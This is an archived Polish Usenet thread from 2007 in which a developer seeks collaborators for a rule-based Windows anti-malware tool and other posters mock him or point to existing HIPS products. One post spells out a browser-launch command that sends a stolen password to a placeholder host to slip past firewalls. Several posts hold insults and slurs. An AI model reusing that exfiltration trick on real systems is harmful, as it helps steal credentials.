🚀 go-pugleaf

fijak napisał(a):
> chociaz nistety poziom coponiektorych wypowidzi na tej grupie jest po 
> prostu zenujaca osmiele sie jednak napisac z nadzieja ze zagladaja tu 
> ludzie ktorzy potafia robic czary.
> 
> Tworzymy oprogramowanie, które ma na celu chronić system Windows przed 
> różnego rodzaju atakami, jednakże w sposób zupełnie odmienny niż 
> wszystkie dotychczasowe programy tego typu.
> 
> Szukamy programistów, którzy znają się na opisanych poniżej zagadnieniach:
> 
>     problematyka różnorakiego typu malwaru (wirusy, spyware, rootkity)
>     wsteczna inżynieria kodu
>     pisanie sterowników
>     hookowanie API usermode
>     hookowanie kernelmode (SST, IDT)
>     technologia DKOM
> 
> Kontakt:
> fijak81 AT o2.pl / GG#4313962 / 0-609-99-88-17
my sie tu takimi pierddołami nie zajmójemy

fijak <fijak@poczta.onet.pl> wrote:
> chociaz nistety poziom coponiektorych wypowidzi na tej grupie jest po 
> prostu zenujaca osmiele sie jednak napisac z nadzieja ze zagladaja tu 
> ludzie ktorzy potafia robic czary.
> 
> Tworzymy oprogramowanie, które ma na celu chronić system Windows przed 
> różnego rodzaju atakami, jednakże w sposób zupełnie odmienny niż 
> wszystkie dotychczasowe programy tego typu.

Rozwin.

[..]

-- 
If you cut off my head, what would I say?  Me and my head, or me and my body?

> my sie tu takimi pierddołami nie zajmójemy
no comments

>> Tworzymy oprogramowanie, które ma na celu chronić system Windows przed 
>> różnego rodzaju atakami, jednakże w sposób zupełnie odmienny niż 
>> wszystkie dotychczasowe programy tego typu.
> 
> Rozwin.
> 
> [..]
> 

hmmm idee?
nie chce sie szeroko rozpisywac, ale po prostu wszelkie zabezpieczenia 
nie daja pewnosci (nic nie daje pewnosci) ani nawet spokojnego snu, 
jesli ma do czynienia z waznymi danymi. mnie interesuje aspekt 
wykradniecia danych z pctow (koncowek, ale nie same dokumenty a np 
zapamietane hasla, keyloggery) lub uzycie ich do np atakow na ciekawszse 
kompy (eg serwery). uzywanie antywirusa, firewalla, aktyalizacji 
automat, nawet niskie prawa zalogowanego usera w niektorych sytuacjach 
niewiele daja. Zawsze istnieje mozliwosc jakigos wejscia do systemu, 
sieci itp. (eg glupota ludzi), luki 0 day, luki w oprgramowaniu nie ms 
itd. jesli wiec istnieje mozliwosc dostania sie do srodka i pzygotujemy 
  kod tylko dla atakowanej organizacji to zaden antywir nas nie wykryje 
(prosze sie nie czarowac hereutystyka), istnieja bardzo proste sposoby 
"wyjscia" przy powlaczanych wszelkich rodzajach firewalli i innych 
podobnych rzeczy (eg odpalenie przegladaki inetowej mniej wiecej tak: 
"c:\..\iexplore.exe" 
"http://www.sometning.com?yourpasswordis=your_stolen_password"
opisalem ze jest mozliwe wejscie i wyjscie, jesli chodzi o zdobycie 
informacji nijak pcet nie jest chroniony - po prostu nie ma takiego 
oprogramowania (procz mojego :) )
Aha jeszcze dosc ciekawe zagadnienie rootkity (prosze ew poczytac o 
naszej rodaczce Rutkowskiej) - przy zalozeniu ze mamy do czynienia z 
userem z prawami admina i udalo sie wejsc to mozna sie tak ukryc ze nie 
bedzie nas w stanie nic odnalezc.
Moj soft rozwiazuje powyzsze problemy (nawet przy userze z prawami 
admina) i nie posiada sygnatir znanych szkodnikow - a reguly kto co moze 
robic
To dziala! i nie obciaza nadto systemu. Problem moj polega na tym ze 
uzywam hookowania usermode ktore jest do obejscia (jezeli jakis szkodnik 
chcialby wywroci moj soft chroniacy) przydalo by mi sie grzebnie w 
ringu0 no ale to juz jest nieco skomplikowane i nie mam czasu na 
wglabianie w to totez szukam ludzi do tego.

Mam nadzieje ze w miare zostalem jako-tako zrozumiany

ps ciekawy sign

Spinacz biurowy, fijak <fijak@poczta.onet.pl>!

>> my sie tu takimi pierddołami nie zajmójemy
> no comments

Jak no comments, to nie komentuj.

-- 
Adam Wysocki * Warszawa * http://www.chmurka.net/ * GSM: 514 710 213
FidoNet: 2:480/138, SWL: SP5-250730, QTH: KO02MF, CB: 19 Śródmieście
Nie wybierałeś bycia pedałem. Po prostu miałeś szczęście. (C) GMG148
-> Zostało zaledwie 1379 dni do końca kadencji Lecha Kaczyńskiego <-

Spinacz biurowy, fijak <fijak@poczta.onet.pl>!

> nie chce sie szeroko rozpisywac, ale po prostu wszelkie zabezpieczenia 
> nie daja pewnosci (nic nie daje pewnosci) ani nawet spokojnego snu, 
> jesli ma do czynienia z waznymi danymi. mnie interesuje aspekt 
> wykradniecia danych z pctow (koncowek, ale nie same dokumenty a np 
> zapamietane hasla, keyloggery) lub uzycie ich do np atakow na ciekawszse 
> kompy (eg serwery). uzywanie antywirusa, firewalla, aktyalizacji 

Zanim zaczniesz się zajmować czymś poważnym, naucz się pisać...

-- 
Adam Wysocki * Warszawa * http://www.chmurka.net/ * GSM: 514 710 213
FidoNet: 2:480/138, SWL: SP5-250730, QTH: KO02MF, CB: 19 Śródmieście
Nikt nie kocha dzieci tak bardzo jak pedofil - by futszaK 28.03.2005
-> Zostało zaledwie 1379 dni do końca kadencji Lecha Kaczyńskiego <-

fijak napisał(a):

> 
> Mam nadzieje ze w miare zostalem jako-tako zrozumiany


powiedzmy, przyjmijmy zatem ze bylbym ci w stanie pomoc, co otrzymam w 
zamian?

-- 
chcialbym miec w reku taki pilot by
nieuruchamiac nim HITACHI, ale ludzkie sny
naprzykład tu gdzie ty zanim se pojdziesz bym
postawiłbym studnie a w niej zamiast zamiast wody zalal gin   /O.S.T.R./

Adam Wysocki napisał(a):
> Spinacz biurowy, fijak <fijak@poczta.onet.pl>!
> 
>> nie chce sie szeroko rozpisywac, ale po prostu wszelkie zabezpieczenia 
>> nie daja pewnosci (nic nie daje pewnosci) ani nawet spokojnego snu, 
>> jesli ma do czynienia z waznymi danymi. mnie interesuje aspekt 
>> wykradniecia danych z pctow (koncowek, ale nie same dokumenty a np 
>> zapamietane hasla, keyloggery) lub uzycie ich do np atakow na ciekawszse 
>> kompy (eg serwery). uzywanie antywirusa, firewalla, aktyalizacji 
> 
> Zanim zaczniesz się zajmować czymś poważnym, naucz się pisać...
> 

sorry, pisac potrafie, ale jest 01.12, chcialem na szybko cos napisac 
przed polozeniem sie spac.

> powiedzmy, przyjmijmy zatem ze bylbym ci w stanie pomoc, co otrzymam w 
> zamian?
> 
money

Dokladnie to opcje sa dwie:
a) kasa wylacznie za robote - rozliczamy sie za kazda czesc roboty - np 
sterownik sieciowy - filtr pakietow.
b) kasa drobniejsza ale podstawa jest % od przychodow.

Wszystko do ustalenia, ale zakladajac ze pojedyncze wdrozenie to moze 
byc 6kEuro to moze sie procencik niezle oplacac.

Spinacz biurowy, fijak <fijak@poczta.onet.pl>!

>> Zanim zaczniesz się zajmować czymś poważnym, naucz się pisać...
> 
> sorry, pisac potrafie, ale jest 01.12, chcialem na szybko cos napisac 
> przed polozeniem sie spac.

No to się nie spiesz, bo tylko ty decydujesz o tym, w jaki sposób jesteś 
odbierany.

-- 
Adam Wysocki * Warszawa * http://www.chmurka.net/ * GSM: 514 710 213
FidoNet: 2:480/138, SWL: SP5-250730, QTH: KO02MF, CB: 19 Śródmieście
Jesteś gophim :) Jedynym w swoim rodzaju, niepowtarzalnym (C) Moocha
-> Zostało zaledwie 1379 dni do końca kadencji Lecha Kaczyńskiego <-

On Wed, 14 Mar 2007, fijak wrote:

> opisalem ze jest mozliwe wejscie i wyjscie, jesli chodzi o zdobycie
> informacji nijak pcet nie jest chroniony - po prostu nie ma takiego
> oprogramowania (procz mojego :) )

Oczywiscie poza kilkunastoma produktami komercyjnymi, ktore sluza do
ograniczania odczytu i przesylania zasobow istotnych dla firm, jak rowniez
poza cala koncepcja platform TCPA DRM, ktore ponoc wspiera Vista.

/mz

Michal Zalewski napisał(a):
> On Wed, 14 Mar 2007, fijak wrote:
> 
>> opisalem ze jest mozliwe wejscie i wyjscie, jesli chodzi o zdobycie
>> informacji nijak pcet nie jest chroniony - po prostu nie ma takiego
>> oprogramowania (procz mojego :) )
> 
> Oczywiscie poza kilkunastoma produktami komercyjnymi, ktore sluza do
> ograniczania odczytu i przesylania zasobow istotnych dla firm, jak rowniez
> poza cala koncepcja platform TCPA DRM, ktore ponoc wspiera Vista.
> 
> /mz
w moim sofcie nie tylko chodzi o odczyt danych z dysku, jest to dosc 
duzy kombajn, ktory ma za zadanie kompleksowo chronic pcta przed 
szkodnikami.

W poście <et8g01$jju$1@news.onet.pl>,
 fijaksoft nabazgrał:
>>> opisalem ze jest mozliwe wejscie i wyjscie, jesli chodzi o zdobycie
>>> informacji nijak pcet nie jest chroniony - po prostu nie ma takiego
>>> oprogramowania (procz mojego :) )
>> 
>> Oczywiscie poza kilkunastoma produktami komercyjnymi, ktore sluza do
>> ograniczania odczytu i przesylania zasobow istotnych dla firm, jak rowniez
>> poza cala koncepcja platform TCPA DRM, ktore ponoc wspiera Vista.
>> 
>> /mz
> w moim sofcie nie tylko chodzi o odczyt danych z dysku, jest to dosc 
> duzy kombajn, ktory ma za zadanie kompleksowo chronic pcta przed 
> szkodnikami.

Dużych kompleksowych kombajnów też jest kilkanaście. Wysonduj rynek, czy
oby rzeczywiście Twój pomysł jest tak innowatorski, jak Ci się wydaje.
Stara anegdota mówi o murzyńskim wynalazcy, który po kilkudziesięciu
latach dłubania skonstruował rower, lecz nie udało mu się go
opatentować, gdyż w drodze do miasta przejechał go samochód...

Spinacz biurowy, lrem@lrem.maxnet!

> Stara anegdota mówi o murzyńskim wynalazcy, który po kilkudziesięciu

Rasista! ;)

-- 
Adam Wysocki * Warszawa * http://www.chmurka.net/ * GSM: 514 710 213
FidoNet: 2:480/138, SWL: SP5-250730, QTH: KO02MF, CB: 19 Śródmieście
Poznałem cię po pine (C) Sziwan (Karol Kozimor) 9.06.2003 w Rybitwie
-> Zostało zaledwie 1379 dni do końca kadencji Lecha Kaczyńskiego <-

Spinacz biurowy, fijaksoft <fijaksoft@bez_tego_o2.pl>!

> Michal Zalewski napisał(a):
>> On Wed, 14 Mar 2007, fijak wrote:
>> 
>>> opisalem ze jest mozliwe wejscie i wyjscie, jesli chodzi o zdobycie
>>> informacji nijak pcet nie jest chroniony - po prostu nie ma takiego
>>> oprogramowania (procz mojego :) )
>> 
>> Oczywiscie poza kilkunastoma produktami komercyjnymi, ktore sluza do
>> ograniczania odczytu i przesylania zasobow istotnych dla firm, jak rowniez
>> poza cala koncepcja platform TCPA DRM, ktore ponoc wspiera Vista.
>> 
>> /mz
> w moim sofcie nie tylko chodzi o odczyt danych z dysku,

lcamtuf nigdzie nie napisał, że jest inaczej.

> jest to dosc duzy kombajn, ktory ma za zadanie kompleksowo chronic 
> pcta przed szkodnikami.

Jesteś święcie przekonany, że jesteś pierwszą osobą, która wpadła na 
taki pomysł?

-- 
Adam Wysocki * Warszawa * http://www.chmurka.net/ * GSM: 514 710 213
FidoNet: 2:480/138, SWL: SP5-250730, QTH: KO02MF, CB: 19 Śródmieście
Gustownie różowy death, kurna, metal... (C) xemon @ apcoh 4 May 2003
-> Zostało zaledwie 1379 dni do końca kadencji Lecha Kaczyńskiego <-

> Dużych kompleksowych kombajnów też jest kilkanaście. Wysonduj rynek, czy
> oby rzeczywiście Twój pomysł jest tak innowatorski, jak Ci się wydaje.
> Stara anegdota mówi o murzyńskim wynalazcy, który po kilkudziesięciu
> latach dłubania skonstruował rower, lecz nie udało mu się go
> opatentować, gdyż w drodze do miasta przejechał go samochód...

nie spotkalem sie jesli mozesz podac nazwy tychze kombajnow to mialbym 
okazje porownania

Adam Wysocki napisał(a):
> Jesteś święcie przekonany, że jesteś pierwszą osobą, która wpadła na 
> taki pomysł?
> 
nie, ale nie spotkalem sie z takim softem, a sa no to chetni wiec jesli 
jest taki soft to malo znany dla ogolu, jesli jest to chetnie poznalbym 
nazwy aby moc porownac

Spinacz biurowy, fijaksoft <fijaksoft@bez_tego_o2.pl>!

> nie spotkalem sie jesli mozesz podac nazwy tychze kombajnow to mialbym 
> okazje porownania

Pierwsze zadanie: Google.

-- 
Adam Wysocki * Warszawa * http://www.chmurka.net/ * GSM: 514 710 213
FidoNet: 2:480/138, SWL: SP5-250730, QTH: KO02MF, CB: 19 Śródmieście
Poznałem cię po pine (C) Sziwan (Karol Kozimor) 9.06.2003 w Rybitwie
-> Zostało zaledwie 1379 dni do końca kadencji Lecha Kaczyńskiego <-

fijak <fijak@poczta.onet.pl> wrote:
>>> Tworzymy oprogramowanie, które ma na celu chronić system Windows przed 
>>> różnego rodzaju atakami, jednakże w sposób zupełnie odmienny niż 
>>> wszystkie dotychczasowe programy tego typu.
>> 
>> Rozwin.
>> 
>> [..]
>> 
> 
> hmmm idee?
> nie chce sie szeroko rozpisywac, ale po prostu wszelkie zabezpieczenia 
> nie daja pewnosci (nic nie daje pewnosci) ani nawet spokojnego snu, 

[..]

> Moj soft rozwiazuje powyzsze problemy (nawet przy userze z prawami 
> admina) i nie posiada sygnatir znanych szkodnikow - a reguly kto co moze 
> robic
> To dziala! i nie obciaza nadto systemu. Problem moj polega na tym ze 

Ale w jaki sposob?  W sensie, co robi twoj soft, czego nie robi,
dajmy na to, produkt Symanteca?

[..]

-- 
If you cut off my head, what would I say?  Me and my head, or me and my body?

W poście <et919m$fu1$1@news.onet.pl>,
 fijaksoft nabazgrał:
> nie spotkalem sie jesli mozesz podac nazwy tychze kombajnow to mialbym 
> okazje porownania

To ja oceniam szanse sukcesu inwestycji, czy Ty?

> Ale w jaki sposob?  W sensie, co robi twoj soft, czego nie robi,
> dajmy na to, produkt Symanteca?
> 
nie sygnatury znanych szkodnikow a reguly co dany proces a co nie, eg. 
99,9% keyloggerow korzysta z hakow klawiatury, wiekszosici aplikacji nie 
jest to potrzebne, mamy wiec regule allow dla kilku softow ktore musza 
uzywac setwindowshookex a potem rest regula deny. Na dzien dzisejszy 
jest kilkanascie typow regul (min dostep do plikow, regsow, sieci)

Adam Wysocki napisał(a):
> Spinacz biurowy, fijaksoft <fijaksoft@bez_tego_o2.pl>!
> 
>> nie spotkalem sie jesli mozesz podac nazwy tychze kombajnow to mialbym 
>> okazje porownania
> 
> Pierwsze zadanie: Google.
> 
i co mam wpisac "kombajn ochrona komputera"??
nie spotkalem sie po prostu z softem ktory chronilby tak kompa jak moj, 
jesli juz sa takie softy, to juz jak gdyby moj problem

lrem@lrem.maxnet napisał(a):
> W poście <et919m$fu1$1@news.onet.pl>,
>  fijaksoft nabazgrał:
>> nie spotkalem sie jesli mozesz podac nazwy tychze kombajnow to mialbym 
>> okazje porownania
> 
> To ja oceniam szanse sukcesu inwestycji, czy Ty?
Chodzi mi o to ze nie spotkalem softu ktory:
chroni pliki, zapisane hasla, zapobiega podszywaniu sie pod apikacje, 
chroni przed dostepm do danych bazodanowych, zapobiega instalowaniu 
keyloggerow, mouseloggerow, itd, chroni przed instalacja rootkitow, 
chroni przed ukrywaniem sie procesow, nieautoryzowanym dostepem do inetu 
(wysylaniem danych w swiat, prosze zerknac np na porownie firewalli 
http://www.firewallleaktester.com/ wszystkie sa do ominiecia, mnie juz 
nieco trudniej), zapobiega bezposredniemu dostepowi do dysku, pamieci, 
urzadzen, zapobiega manipulowaiu procesami, zapobiega robienia 
screenshotow z poufnymi danymi, pozwala na logowanie z jakich plikow 
user morzystal, jakie progamy uruchamial, a nawet moze pozwalac na 
omijanie zabezpieczen softow typou trial version.
Tak na prawde to uzytkownik sam moze budowac w pewnym zakresie nowa 
funkcjonalnosc.

Nie znam takiego softu, jesli jest to ew moja strata

fijak wrote:
>> Ale w jaki sposob?  W sensie, co robi twoj soft, czego nie robi,
>> dajmy na to, produkt Symanteca?
>> 
> nie sygnatury znanych szkodnikow a reguly co dany proces a co nie, eg. 
> 99,9% keyloggerow korzysta z hakow klawiatury, wiekszosici aplikacji nie 
> jest to potrzebne, mamy wiec regule allow dla kilku softow ktore musza 
> uzywac setwindowshookex a potem rest regula deny. Na dzien dzisejszy 
> jest kilkanascie typow regul (min dostep do plikow, regsow, sieci)

Działających na takiej zasadzie jest trochę rozwiązań dla Uniksów.
Doskonale sprawuje się np. stary cerb PJD, kiedyś systrace czy
rozwiązania z TrustedBSD. Wszystkie działają na poziomie kernela
więc nie bardzo sobie wyobrażam podobne rozwiązania tworzone
w domowym zaciszu dla Windows.

No ale oczywiście próbuj, i baw się przy tym wyśmienicie... ;)


-- 
KP

KubusPuchatek napisał(a):
> fijak wrote:
>>> Ale w jaki sposob?  W sensie, co robi twoj soft, czego nie robi,
>>> dajmy na to, produkt Symanteca?
>>>
>> nie sygnatury znanych szkodnikow a reguly co dany proces a co nie, eg. 
>> 99,9% keyloggerow korzysta z hakow klawiatury, wiekszosici aplikacji nie 
>> jest to potrzebne, mamy wiec regule allow dla kilku softow ktore musza 
>> uzywac setwindowshookex a potem rest regula deny. Na dzien dzisejszy 
>> jest kilkanascie typow regul (min dostep do plikow, regsow, sieci)
> 
> Działających na takiej zasadzie jest trochę rozwiązań dla Uniksów.
> Doskonale sprawuje się np. stary cerb PJD, kiedyś systrace czy
> rozwiązania z TrustedBSD. 

linux to nie windows, wiele ludzi korzysta z windowsow a tem racxzej 
cienko z takim softwearem

fijak wrote:
> linux to nie windows, wiele ludzi korzysta z windowsow a tem racxzej 
> cienko z takim softwearem

Ale ja nawet nie wspomniałem o Linuksie ;]

Hm, a poważniej, to miałem ci do przekazania raczej tą część, 
którą przy odpowiedzi byłeś łaskaw wyciąć.


-- 
KP

Użytkownik Czesław Kópsztyła napisał:

> fijak napisał(a):
> 
>> chociaz nistety poziom coponiektorych wypowidzi na tej grupie jest po 
>> prostu zenujaca osmiele sie jednak napisac z nadzieja ze zagladaja tu 
>> ludzie ktorzy potafia robic czary.
>>
>> Tworzymy oprogramowanie, które ma na celu chronić system Windows przed 
>> różnego rodzaju atakami, jednakże w sposób zupełnie odmienny niż 
>> wszystkie dotychczasowe programy tego typu.
>>
>> Szukamy programistów, którzy znają się na opisanych poniżej 
>> zagadnieniach:
>>
>>     problematyka różnorakiego typu malwaru (wirusy, spyware, rootkity)
>>     wsteczna inżynieria kodu
>>     pisanie sterowników
>>     hookowanie API usermode
>>     hookowanie kernelmode (SST, IDT)
>>     technologia DKOM
>>
>> Kontakt:
>> fijak81 AT o2.pl / GG#4313962 / 0-609-99-88-17
> 
> my sie tu takimi pierddołami nie zajmójemy

! RÓTFL !

-- 
! PRÓZÓDÓNT ! REPÓBLÓKI ! ÓPD !
! GÓRILLA ! ADMIN ! PÓLESKIGO ! INTERNETÓ !
! MAGJISTER ! INRZYNIER ! DÓKTÓR ! DÓRIÓSZ !
! POZDRAWIAM ! CIE ! DARIÓÓSZÓ !
! ÓÓ.VV !

Użytkownik fijak napisał:

>> my sie tu takimi pierddołami nie zajmójemy
> 
> no comments

my tu mamy inne problemy z notatnikami i ms-paintami nie potrzeba nam tu 
rutkitow i spajłerow !!

-- 
! PRÓZÓDÓNT ! REPÓBLÓKI ! ÓPD !
! GÓRILLA ! ADMIN ! PÓLESKIGO ! INTERNETÓ !
! MAGJISTER ! INRZYNIER ! DÓKTÓR ! DÓRIÓSZ !
! POZDRAWIAM ! CIE ! DARIÓÓSZÓ !
! ÓÓ.VV !

Użytkownik fijaksoft napisał:

> Adam Wysocki napisał(a):
> 
>> Jesteś święcie przekonany, że jesteś pierwszą osobą, która wpadła na 
>> taki pomysł?
>>
> nie, ale nie spotkalem sie z takim softem, a sa no to chetni wiec jesli 
> jest taki soft to malo znany dla ogolu, jesli jest to chetnie poznalbym 
> nazwy aby moc porownac


norton internet sekjurity
kacperski antywirus
notepad.exe
mspaint.exe

-- 
! PRÓZÓDÓNT ! REPÓBLÓKI ! ÓPD !
! GÓRILLA ! ADMIN ! PÓLESKIGO ! INTERNETÓ !
! MAGJISTER ! INRZYNIER ! DÓKTÓR ! DÓRIÓSZ !
! POZDRAWIAM ! CIE ! DARIÓÓSZÓ !
! ÓÓ.VV !

Użytkownik KubusPuchatek napisał:

> fijak wrote:
> 
>>linux to nie windows, wiele ludzi korzysta z windowsow a tem racxzej 
>>cienko z takim softwearem
> 
> 
> Ale ja nawet nie wspomniałem o Linuksie ;]
> 
> Hm, a poważniej, to miałem ci do przekazania raczej tą część, 
> którą przy odpowiedzi byłeś łaskaw wyciąć.
> 
> 

wpierdalasz kupsko ?

-- 
! PRÓZÓDÓNT ! REPÓBLÓKI ! ÓPD !
! GÓRILLA ! ADMIN ! PÓLESKIGO ! INTERNETÓ !
! MAGJISTER ! INRZYNIER ! DÓKTÓR ! DÓRIÓSZ !
! POZDRAWIAM ! CIE ! DARIÓÓSZÓ !
! ÓÓ.VV !

KubusPuchatek napisał(a):
> Hm, a poważniej, to miałem ci do przekazania raczej tą część, 
> którą przy odpowiedzi byłeś łaskaw wyciąć.
> 
>


nie rozumiem co ma
 >
Działających na takiej zasadzie jest trochę rozwiązań dla Uniksów.
Doskonale sprawuje się np. stary cerb PJD, kiedyś systrace czy
rozwiązania z TrustedBSD. Wszystkie działają na poziomie kernela
 >

do

 >
więc nie bardzo sobie wyobrażam podobne rozwiązania tworzone
w domowym zaciszu dla Windows.
 >

ok, rozumiem sa podobne rozwiazania dla systemow unixowych, ale dla 
windows? coprawda sa jakies rzeczy zwiazane z wirtualizacja, ale nie o 
to mi chodzi.

On Wed, 14 Mar 2007, fijak wrote:

> nie sygnatury znanych szkodnikow a reguly co dany proces a co nie, eg.
> 99,9% keyloggerow korzysta z hakow klawiatury, wiekszosici aplikacji nie
> jest to potrzebne, mamy wiec regule allow dla kilku softow ktore musza
> uzywac setwindowshookex a potem rest regula deny. Na dzien dzisejszy
> jest kilkanascie typow regul (min dostep do plikow, regsow, sieci)

Tak dziala wiekszosc systemow HIDS / HIPS, w tym np. produkty dawnej Okeny
(teraz czesc Cisco). Sa zarowno rozwiazania operujace na poziomie
operacji (nie pozwalamy na podsluchiwanie klawiatury), jak i na poziomie
danych (nie pozwalamy na wyslanie po sieci albo wydrukowanie dokumentow z
kategorii $foo).

/mz

Spinacz biurowy, fijak <fijak@poczta.onet.pl>!

>>> nie spotkalem sie jesli mozesz podac nazwy tychze kombajnow to mialbym 
>>> okazje porownania
>> 
>> Pierwsze zadanie: Google.
>
> i co mam wpisac "kombajn ochrona komputera"??

Kompleksowa ochrona komputera.

-- 
Adam Wysocki * Warszawa * http://www.chmurka.net/ * GSM: 514 710 213
FidoNet: 2:480/138, SWL: SP5-250730, QTH: KO02MF, CB: 19 Śródmieście
Jesteś emocjonalnie wykolejony. I to bardziej niż futszaK. (C) Bylin
-> Zostało zaledwie 1378 dni do końca kadencji Lecha Kaczyńskiego <-

Spinacz biurowy, fijak <fijak@poczta.onet.pl>!

> jest to potrzebne, mamy wiec regule allow dla kilku softow ktore musza 
> uzywac setwindowshookex a potem rest regula deny. Na dzien dzisejszy 
> jest kilkanascie typow regul (min dostep do plikow, regsow, sieci)

I myślisz, że użytkownik wpisze regułę na SetWindowsHookEx?

-- 
Adam Wysocki * Warszawa * http://www.chmurka.net/ * GSM: 514 710 213
FidoNet: 2:480/138, SWL: SP5-250730, QTH: KO02MF, CB: 19 Śródmieście
Bylinku. Nie jesteś normalny. Jesteś znormalizowany. (C) Arek Gejdel
-> Zostało zaledwie 1378 dni do końca kadencji Lecha Kaczyńskiego <-

Adam Wysocki napisał(a):
> Spinacz biurowy, fijak <fijak@poczta.onet.pl>!
> 
>> nie chce sie szeroko rozpisywac, ale po prostu wszelkie zabezpieczenia 
>> nie daja pewnosci (nic nie daje pewnosci) ani nawet spokojnego snu, 
>> jesli ma do czynienia z waznymi danymi. mnie interesuje aspekt 
>> wykradniecia danych z pctow (koncowek, ale nie same dokumenty a np 
>> zapamietane hasla, keyloggery) lub uzycie ich do np atakow na ciekawszse 
>> kompy (eg serwery). uzywanie antywirusa, firewalla, aktyalizacji 
> 
> Zanim zaczniesz się zajmować czymś poważnym, naucz się pisać...
> 
no wŁa$nie, sóhaj sie Fójak admina, bo bedziesz musiał wypierdalać 
fpodskokah, jakbyco

! AXXXID! ! DÓREKTÓR! ! ÓÓÓ ! napisał(a):
> Użytkownik fijaksoft napisał:
> 
>> Adam Wysocki napisał(a):
>>
>>> Jesteś święcie przekonany, że jesteś pierwszą osobą, która wpadła na 
>>> taki pomysł?
>>>
>> nie, ale nie spotkalem sie z takim softem, a sa no to chetni wiec 
>> jesli jest taki soft to malo znany dla ogolu, jesli jest to chetnie 
>> poznalbym nazwy aby moc porownac
> 
> 
> norton internet sekjurity
> kacperski antywirus
> notepad.exe
> mspaint.exe
> 
RTFL
czego brakuje w tym poscie i jak to shagowadź??

Adam Wysocki napisał(a):
> Spinacz biurowy, fijak <fijak@poczta.onet.pl>!
> 
>> jest to potrzebne, mamy wiec regule allow dla kilku softow ktore musza 
>> uzywac setwindowshookex a potem rest regula deny. Na dzien dzisejszy 
>> jest kilkanascie typow regul (min dostep do plikow, regsow, sieci)
> 
> I myślisz, że użytkownik wpisze regułę na SetWindowsHookEx?
> 
Jest to raczej soft dla organizacji: admin stawia reguly, user jest 
dodatkowo ograniczany (chroniony) i raczej nie tworzys woich regul

Spinacz biurowy, fijak <fijak@poczta.onet.pl>!

>> I myślisz, że użytkownik wpisze regułę na SetWindowsHookEx?
>> 
> Jest to raczej soft dla organizacji: admin stawia reguly, user jest 
> dodatkowo ograniczany (chroniony) i raczej nie tworzys woich regul

Dlaczego poważna organizacja miałaby kupić oprogramowanie od człowieka, 
który korzysta z darmowej skrzynki pocztowej, podpisuje się pseudonimem 
i nie potrafi sklecić prostego zdania po polsku?

-- 
Adam Wysocki * Warszawa * http://www.chmurka.net/ * GSM: 514 710 213
FidoNet: 2:480/138, SWL: SP5-250730, QTH: KO02MF, CB: 19 Śródmieście
Korea czy Japonia, pies czy kot dla mnie jedna świnia (C) Sosna @ CB
-> Zostało zaledwie 1378 dni do końca kadencji Lecha Kaczyńskiego <-

Adam Wysocki napisał(a):

> Kompleksowa ochrona komputera.
> 
dzieki za wskazowke ale dostalem tylko kombajny antywirusowe, to nie 
jest to o czym pisze. Nie sadze ze moj pomysl jest calkowicie nowatorski 
ze nie ma czegos ciut podobnego, sadze jednak ze moj soft sie sprawdza i 
bede chcial go rozwijac, i szukam wspolpracownikow do tego. Jesli ide 
niewlasciwa droga, lub probuje wywazyc otwarte drzwi to tylko ja na tym 
strace.
Dziekuje bardzo wszystkim za wszystkie odpowiedzi w tym watku.


czy sa jakies newsy o podobnej tematyce co tutaj (najlepiej po polsku) 
ale bez jakis dziwnych ludzi ktorzy pisza o odchodach niewiadomo skad i 
po co?

Spinacz biurowy, fijak <fijak@poczta.onet.pl>!

> dzieki za wskazowke ale dostalem tylko kombajny antywirusowe, to nie 
> jest to o czym pisze.

Kombajny antywirusowe nie ograniczają się do zapobiegania infekcjom. To 
już nie te czasy.

> czy sa jakies newsy o podobnej tematyce co tutaj (najlepiej po polsku) 
> ale bez jakis dziwnych ludzi ktorzy pisza o odchodach niewiadomo skad i 
> po co?

Jest dużo specjalistycznych grup dyskusyjnych. Poszukaj.

-- 
Adam Wysocki * Warszawa * http://www.chmurka.net/ * GSM: 514 710 213
FidoNet: 2:480/138, SWL: SP5-250730, QTH: KO02MF, CB: 19 Śródmieście
Malo kto chce, aby ktos robil taka laske jak Ty ;-) (C) Greg at appm
-> Zostało zaledwie 1377 dni do końca kadencji Lecha Kaczyńskiego <-

Użytkownik fijak napisał:

> Adam Wysocki napisał(a):
> 
>> Kompleksowa ochrona komputera.
>>
> dzieki za wskazowke ale dostalem tylko kombajny antywirusowe, to nie 
> jest to o czym pisze. Nie sadze ze moj pomysl jest calkowicie nowatorski 
> ze nie ma czegos ciut podobnego, sadze jednak ze moj soft sie sprawdza i 
> bede chcial go rozwijac, i szukam wspolpracownikow do tego. Jesli ide 
> niewlasciwa droga, lub probuje wywazyc otwarte drzwi to tylko ja na tym 
> strace.
> Dziekuje bardzo wszystkim za wszystkie odpowiedzi w tym watku.
> 
> 
> czy sa jakies newsy o podobnej tematyce co tutaj (najlepiej po polsku) 
> ale bez jakis dziwnych ludzi ktorzy pisza o odchodach niewiadomo skad i 
> po co?

nie ma sprawy - a pomorzesz mi przy ty tajnym projekcie skrutow do 
painta ? bo jak mi pomorzesz to dami ci gotowo napisany jak srałem na 
kiblu projekt tego kombajna

Użytkownik Czesław Kópsztyła napisał:

> ! AXXXID! ! DÓREKTÓR! ! ÓÓÓ ! napisał(a):
> 
>> Użytkownik fijaksoft napisał:
>>
>>> Adam Wysocki napisał(a):
>>>
>>>> Jesteś święcie przekonany, że jesteś pierwszą osobą, która wpadła na 
>>>> taki pomysł?
>>>>
>>> nie, ale nie spotkalem sie z takim softem, a sa no to chetni wiec 
>>> jesli jest taki soft to malo znany dla ogolu, jesli jest to chetnie 
>>> poznalbym nazwy aby moc porownac
>>
>>
>>
>> norton internet sekjurity
>> kacperski antywirus
>> notepad.exe
>> mspaint.exe
>>
> RTFL
> czego brakuje w tym poscie i jak to shagowadź??


I've got an F and C and I got a K too
And the only thing missing is a bitch like yoU

-- 
! HTTP://ZBLUZGAJ.XORG.PL/PEOPLE/AXID.HTML !
! PRÓZÓDÓNT ! REPÓBLÓKI ! ÓPD !
! GÓRILLA ! ADMIN ! PÓLESKIGO ! INTERNETÓ !
! MAGJISTER ! INRZYNIER ! DÓKTÓR ! DÓRIÓSZ !
! POZDRAWIAM ! CIE ! DARIÓÓSZÓ !
! ÓÓ.VV !

Adam Wysocki napisał(a):
> Spinacz biurowy, fijak <fijak@poczta.onet.pl>!
> 
>> dzieki za wskazowke ale dostalem tylko kombajny antywirusowe, to nie 
>> jest to o czym pisze.
> 
> Kombajny antywirusowe nie ograniczają się do zapobiegania infekcjom. To 
> już nie te czasy.
> 
racja, ale antywirusy ew. probuja zgadywac czy to jest dobre czy nie, 
chodzi mi o to ze nie mozna stwierdzic czy hak klawiatury jest dobry czy 
